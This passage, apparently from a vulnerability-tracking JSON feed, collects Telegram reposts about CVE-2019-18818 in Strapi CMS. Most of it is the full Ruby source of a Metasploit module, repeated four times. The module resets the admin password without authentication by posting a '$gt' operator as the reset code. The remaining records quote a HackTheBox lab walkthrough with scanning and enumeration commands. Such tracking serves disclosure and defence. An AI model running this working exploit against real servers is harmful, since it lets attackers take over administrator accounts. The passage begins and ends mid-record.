Escalation\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nThis Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n\nMD5 | 8ecdde32e335de56a08cade93bba6146\n\nDownload\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\nRank = NormalRanking\n\ninclude Msf::Exploit::Remote::HttpClient\n\ndef initialize(info={})\nsuper(update_info(info,\n\n'Name'           => \"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)\",\n'Description'    => %q{\nThis exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n},\n'License'        => MSF_LICENSE,\n'Author'         => [ 'WackyH4cker' ],\n'References'     =>\n[\n[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]\n],\n'Platform'       => 'linux',\n'Targets'        => [\n[ 'Strapi 3.0.0-beta-17.4', {} ]\n],\n'Payload'        => '',\n'Privileged'     => true,\n'DisclosureDate' => \"\",\n'DefaultOptions' => \n{\n'SSL' => 'False',\n'RPORT' => 80,\n},\n'DefaultTarget'  => 0\n\n))\n\nregister_options [\nOptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])\n]\nend\n\ndef check\n\nres = send_request_raw({ 'uri' => '/admin/init' })\nversion = JSON.parse(res.body) \n\nif version[\"data\"][\"strapiVersion\"] == '3.0.0-beta.17.4'\nreturn Exploit::CheckCode::Vulnerable\nelse\nreturn Exploit::CheckCode::Safe\nend\n\nend\n\ndef run\n\njson_body = { 'code' => {'$gt' => 0},\n'password' => datastore['NEW_PASSWORD'],\n'passwordConfirmation' => datastore['NEW_PASSWORD'] }\n\nres = send_request_cgi({\n'method' => 'POST',\n'uri' => '/admin/auth/reset-password',\n'ctype' => 'application/json',\n'data' => JSON.generate(json_body)\n})\n\nprint_status(\"Changing password...\")\njson_format = JSON.parse(res.body)\njwt = json_format['jwt']\n\nif res.code == 200\nprint_good(\"Password changed successfully!\")\nprint_good(\"USER: admin\")\nprint_good(\"PASSWORD: #{datastore['NEW_PASSWORD']}\")\nprint_good(\"JWT: #{jwt}\")\nelse\nfail_with(Failure::NoAccess\"Could not change admin user password\")\nend\nend\n\nend\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:56.471604Z"}, {"uuid": "97b3d6e3-0427-4be5-aef6-64991103eb9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42979", "content": "Hacking Articles\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning\n\n* nmap\n\nEnumeration\n\n* Subdomain enumeration using wfuzz\n* Strapi password reset exploit\n\nExploitation\n\n* Exploiting strapi CVE-2019-18818 to gain a reverse shell\n* Initial information gathering\n* Setting up my SSH key in the victim\u2019s authorized_keys file\n\nPrivilege Escalation\n\n* Tunnelling internal website to our system\n* Exploiting Laravel CVE-2021-3129 to snag root flag\n\nLet\u2019s begin Network ScanningFirst, we will run a nmap scan on the victim machine\nnmap -sV -sC -Pn 10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000 \n\nWe tried to look for exploitable vectors on the website itself but couldn\u2019t find any which indicated that we need to enumerate directories.\n\nEven directories enum didn\u2019t yield any results so we tried to enumerate subdomains.\nwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92 \nThis returned back an interesting subdomain called api-prod\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000 \n\nWe add this subdomain in hosts file and try to open the website.\necho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hosts \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 \n\nIt seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.\nwhatweb http://api-prod.horizontall.htb/admin/ \nhttps://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 \n\nWe observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.\nsearchsploit -m 50239 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:15.365462Z"}, {"uuid": "5c278424-1678-4ef2-9faf-52a344a8ac0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42048", "content": "Exploit Collector\nStrapi CMS 3.0.0-beta.17.4 Privilege Escalation\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nThis Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n\nMD5 | 8ecdde32e335de56a08cade93bba6146\n\nDownload\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\nRank = NormalRanking\n\ninclude Msf::Exploit::Remote::HttpClient\n\ndef initialize(info={})\nsuper(update_info(info,\n\n'Name'           => \"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)\",\n'Description'    => %q{\nThis exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n},\n'License'        => MSF_LICENSE,\n'Author'         => [ 'WackyH4cker' ],\n'References'     =>\n[\n[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]\n],\n'Platform'       => 'linux',\n'Targets'        => [\n[ 'Strapi 3.0.0-beta-17.4', {} ]\n],\n'Payload'        => '',\n'Privileged'     => true,\n'DisclosureDate' => \"\",\n'DefaultOptions' => \n{\n'SSL' => 'False',\n'RPORT' => 80,\n},\n'DefaultTarget'  => 0\n\n))\n\nregister_options [\nOptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])\n]\nend\n\ndef check\n\nres = send_request_raw({ 'uri' => '/admin/init' })\nversion = JSON.parse(res.body) \n\nif version[\"data\"][\"strapiVersion\"] == '3.0.0-beta.17.4'\nreturn Exploit::CheckCode::Vulnerable\nelse\nreturn Exploit::CheckCode::Safe\nend\n\nend\n\ndef run\n\njson_body = { 'code' => {'$gt' => 0},\n'password' => datastore['NEW_PASSWORD'],\n'passwordConfirmation' => datastore['NEW_PASSWORD'] }\n\nres = send_request_cgi({\n'method' => 'POST',\n'uri' => '/admin/auth/reset-password',\n'ctype' => 'application/json',\n'data' => JSON.generate(json_body)\n})\n\nprint_status(\"Changing password...\")\njson_format = JSON.parse(res.body)\njwt = json_format['jwt']\n\nif res.code == 200\nprint_good(\"Password changed successfully!\")\nprint_good(\"USER: admin\")\nprint_good(\"PASSWORD: #{datastore['NEW_PASSWORD']}\")\nprint_good(\"JWT: #{jwt}\")\nelse\nfail_with(Failure::NoAccess\"Could not change admin user password\")\nend\nend\n\nend\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:17.722031Z"}, {"uuid": "ee916222-ba67-4259-8e01-df2e9fbecf41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42952", "content": "Hacking Articles|Raj Chandel's Blog\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunneling an internal application (Laravel) to local machine and running a PoC exploit on Laravel v 7.4.18Table of Content\u00b7 nmapEnumeration\u00b7 Subdomain enumeration using wfuzzExploitation\u00b7 Exploiting strapi CVE-2019-18818 to gain a reverse shellPrivilege Escalation\u00b7 Tunneling internal website to our systemNetwork ScanningFirst, we will run an nmap scan on the victim machine nmap -sV -sC -Pn 10.129.149.92https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince, there was a website running on port 80, we added the address in our hosts file for resolution.wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92This returned back an interesting subdomain called api-prodecho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.whatweb http://api-prod.horizontall.htb/admin/https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit result showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password witho[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:15.474518Z"}, {"uuid": "54ffa9c2-3dfe-477a-879b-f27049b3f960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42952", "content": "Hacking Articles|Raj Chandel's Blog\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunneling an internal application (Laravel) to local machine and running a PoC exploit on Laravel v 7.4.18Table of Content\u00b7 nmapEnumeration\u00b7 Subdomain enumeration using wfuzzExploitation\u00b7 Exploiting strapi CVE-2019-18818 to gain a reverse shellPrivilege Escalation\u00b7 Tunneling internal website to our systemNetwork ScanningFirst, we will run an nmap scan on the victim machine nmap -sV -sC -Pn 10.129.149.92https://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince, there was a website running on port 80, we added the address in our hosts file for resolution.wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92This returned back an interesting subdomain called api-prodecho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 It seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.whatweb http://api-prod.horizontall.htb/admin/https://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 We observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4https://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit result showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password witho[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T08:00:06.828962Z"}, {"uuid": "48855e2a-f601-4ae5-b35b-fd6faab29863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42979", "content": "Hacking Articles\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunnelling an internal application (Laravel) to a local machine and running a PoC exploit on Laravel v 7.4.18 Table of ContentNetwork Scanning\n\n* nmap\n\nEnumeration\n\n* Subdomain enumeration using wfuzz\n* Strapi password reset exploit\n\nExploitation\n\n* Exploiting strapi CVE-2019-18818 to gain a reverse shell\n* Initial information gathering\n* Setting up my SSH key in the victim\u2019s authorized_keys file\n\nPrivilege Escalation\n\n* Tunnelling internal website to our system\n* Exploiting Laravel CVE-2021-3129 to snag root flag\n\nLet\u2019s begin Network ScanningFirst, we will run a nmap scan on the victim machine\nnmap -sV -sC -Pn 10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEgpA-ERDt2IsmWu1onaA-eMoZwP8bM2uw9PiJTKSVhKoFR54wVRzWG5wS5slegvKNv96-piH_BX9d2EJ-JBGaOxii2snN8fZzMBYisTeSiDuFnZrphFY1QlfDB-xsujwKCaqC32lNPf9rvtTSaeahA3fCA0SdRdcQgGqnBHE8N0dIf74HfEzZcEmpP21w=s16000 EnumerationSince there was a website running on port 80, we added the address in our hosts file for resolution.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgwHC_tGTATWngd_dgXA-pUAoRGFprzxSxuAmRfl_NxWvjAqHwtYx98isQx33lw-Pk3q6v8Q7-tpRnFasx6qntPzKTpdYuzdY4-pQF7tIAZpkL8x-t8Z239lAQyjcHT_-2zJgTHYX_kL6XcNFtfXaxRLFWKj6I9AuIlnEzixwhDTRno1k8wZeSO6WhMBg=s16000 \n\nWe tried to look for exploitable vectors on the website itself but couldn\u2019t find any which indicated that we need to enumerate directories.\n\nEven directories enum didn\u2019t yield any results so we tried to enumerate subdomains.\nwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H \"Host: FUZZ.horizontall.htb\" --sc 200 10.129.149.92 \nThis returned back an interesting subdomain called api-prod\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjljDsUWotESFbHKm6-bWJCD12yfeQWqhWLTbpm0kPZQdpJ_xowE71mD7kN7mhG9QEk3gdWMGoZRbZfJjpYfqxp_vNI3aq0ebVNgqi3s6XhGsUoj71ravIYXcuS2rRR0ZtkjlpmPXDDmlHo1JwHJh0blgFHO9x6BrzxHqxcCOoaKBskwYg7JRUzgNIzNw=s16000 \n\nWe add this subdomain in hosts file and try to open the website.\necho \"10.129.149.92\u00a0\u00a0 api-prod.horizontall.htb\" >> /etc/hosts \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpkAZ1FQs1vINrFT3yNzeAQkUBox1nTSnNah3GeSiEV2eTGyIPZ4cpdN_mH_lfagNRDvjotfYtJ836KXZX5RU_KFMmhJx3cItwy6f1yu515CYVjdbfSMR8LlZ9ynhLajeA7mrczF2tcplH1_NKjMKjlHF7-pFqrQGLiJ5ISMGKIt2SG_DJ0gKKyGx0_g=s16000 \n\nIt seemed like a plain website with no vectors again and thus, we tried directory enumeration. We found a directory /admin. Upon checking the components that made this website, we found the title to be strapi.\nwhatweb http://api-prod.horizontall.htb/admin/ \nhttps://blogger.googleusercontent.com/img/a/AVvXsEimfroWYSUi1l_gg2u2KOWFlyXtQy0UO7pcFA_13LhNTK6-GU9OWI8g6P9dODQk8rTY7nSMAQ8kU-546CCQGx-XgQGXMNitJpK5N6MW1g50oQTdBQ5-PkpEHEtweHKNxBNt6GMKmDAVRcTbw_8Imz88hk1DWXvJCIP2G-r-JDqv3nPL6FCrGr9dPoBhhA=s16000 \n\nWe observed the response in burp and noticed strapi version to be 3.0.0-beta 17.4\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEiCJ8FgYHLpzxFTOdtwRwzcnHXhtUbc2NH_ehA9tppXwpZUVlKdpIJWRz5XgsL9HCbz7x2_L96MfIcWW4um32hlBV8Ev-kaKCwF2LH6afj-GKoyTn8OFA3Xu6MIripA_Y12Sg0mGnZAlnPvt1zXMqwuhWLgLgddxw6sQcDesQWrxvUuDs7tImeGVplX5Q=s16000 ExploitationSearchsploit results showed us an exploit for the given version was available. This version was afflicted with CVE-2019-18818. This vulnerability allows an attacker to reset the admin password without needing authentication tokens. You can read more about the vulnerability here. We downloaded the exploit using searchsploit.\nsearchsploit -m 50239 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEi5MFzlFitOzFqNd_7o471GSyoxDAOHL7QYU6SX4cAgVjYKlGVn[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T08:00:07.016380Z"}, {"uuid": "4fb1f7c7-91b4-419e-b91d-0b0551f522c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42048", "content": "Exploit Collector\nStrapi CMS 3.0.0-beta.17.4 Privilege Escalation\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nThis Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n\nMD5 | 8ecdde32e335de56a08cade93bba6146\n\nDownload\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\nRank = NormalRanking\n\ninclude Msf::Exploit::Remote::HttpClient\n\ndef initialize(info={})\nsuper(update_info(info,\n\n'Name'           => \"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)\",\n'Description'    => %q{\nThis exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n},\n'License'        => MSF_LICENSE,\n'Author'         => [ 'WackyH4cker' ],\n'References'     =>\n[\n[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]\n],\n'Platform'       => 'linux',\n'Targets'        => [\n[ 'Strapi 3.0.0-beta-17.4', {} ]\n],\n'Payload'        => '',\n'Privileged'     => true,\n'DisclosureDate' => \"\",\n'DefaultOptions' => \n{\n'SSL' => 'False',\n'RPORT' => 80,\n},\n'DefaultTarget'  => 0\n\n))\n\nregister_options [\nOptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])\n]\nend\n\ndef check\n\nres = send_request_raw({ 'uri' => '/admin/init' })\nversion = JSON.parse(res.body) \n\nif version[\"data\"][\"strapiVersion\"] == '3.0.0-beta.17.4'\nreturn Exploit::CheckCode::Vulnerable\nelse\nreturn Exploit::CheckCode::Safe\nend\n\nend\n\ndef run\n\njson_body = { 'code' => {'$gt' => 0},\n'password' => datastore['NEW_PASSWORD'],\n'passwordConfirmation' => datastore['NEW_PASSWORD'] }\n\nres = send_request_cgi({\n'method' => 'POST',\n'uri' => '/admin/auth/reset-password',\n'ctype' => 'application/json',\n'data' => JSON.generate(json_body)\n})\n\nprint_status(\"Changing password...\")\njson_format = JSON.parse(res.body)\njwt = json_format['jwt']\n\nif res.code == 200\nprint_good(\"Password changed successfully!\")\nprint_good(\"USER: admin\")\nprint_good(\"PASSWORD: #{datastore['NEW_PASSWORD']}\")\nprint_good(\"JWT: #{jwt}\")\nelse\nfail_with(Failure::NoAccess\"Could not change admin user password\")\nend\nend\n\nend\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T10:00:06.511533Z"}, {"uuid": "06716301-9c80-4369-92ed-dc43b83c64f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42048", "content": "Exploit Collector\nStrapi CMS 3.0.0-beta.17.4 Privilege Escalation\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nThis Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n\nMD5 | 8ecdde32e335de56a08cade93bba6146\n\nDownload\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\nRank = NormalRanking\n\ninclude Msf::Exploit::Remote::HttpClient\n\ndef initialize(info={})\nsuper(update_info(info,\n\n'Name'           => \"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)\",\n'Description'    => %q{\nThis exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n},\n'License'        => MSF_LICENSE,\n'Author'         => [ 'WackyH4cker' ],\n'References'     =>\n[\n[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]\n],\n'Platform'       => 'linux',\n'Targets'        => [\n[ 'Strapi 3.0.0-beta-17.4', {} ]\n],\n'Payload'        => '',\n'Privileged'     => true,\n'DisclosureDate' => \"\",\n'DefaultOptions' => \n{\n'SSL' => 'False',\n'RPORT' => 80,\n},\n'DefaultTarget'  => 0\n\n))\n\nregister_options [\nOptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])\n]\nend\n\ndef check\n\nres = send_request_raw({ 'uri' => '/admin/init' })\nversion = JSON.parse(res.body) \n\nif version[\"data\"][\"strapiVersion\"] == '3.0.0-beta.17.4'\nreturn Exploit::CheckCode::Vulnerable\nelse\nreturn Exploit::CheckCode::Safe\nend\n\nend\n\ndef run\n\njson_body = { 'code' => {'$gt' => 0},\n'password' => datastore['NEW_PASSWORD'],\n'passwordConfirmation' => datastore['NEW_PASSWORD'] }\n\nres = send_request_cgi({\n'method' => 'POST',\n'uri' => '/admin/auth/reset-password',\n'ctype' => 'application/json',\n'data' => JSON.generate(json_body)\n})\n\nprint_status(\"Changing password...\")\njson_format = JSON.parse(res.body)\njwt = json_format['jwt']\n\nif res.code == 200\nprint_good(\"Password changed successfully!\")\nprint_good(\"USER: admin\")\nprint_good(\"PASSWORD: #{datastore['NEW_PASSWORD']}\")\nprint_good(\"JWT: #{jwt}\")\nelse\nfail_with(Failure::NoAccess\"Could not change admin user password\")\nend\nend\n\nend\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T01:00:24.137905Z"}, {"uuid": "97f351fe-c34f-4639-8b7b-fa2d448bebab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42952", "content": "Hacking Articles|Raj Chandel's Blog\nHorizontall HackTheBox Walkthrough\n\nIntroductionHorizontall is an \u201ceasy\u201d rated CTF Linux box on Hack The Box platform. The box covers initial compromise by exploiting Strapi RCE vulnerability and escalating privileges by tunneling an internal application (Laravel) to local machine and running a PoC exploit on Laravel v 7.4.18Table of Content\u00b7 nmapEnumeration\u00b7 Subdomain enumeration using wfuzzExploitation\u00b7 Exploiting strapi CVE-2019-18818 to gain a reverse shellPrivilege Escalation\u00b7 Tunneling internal website to our systemNetwork ScanningFirst, we will run an nmap scan on the victim machine nmap -sV -sC -Pn 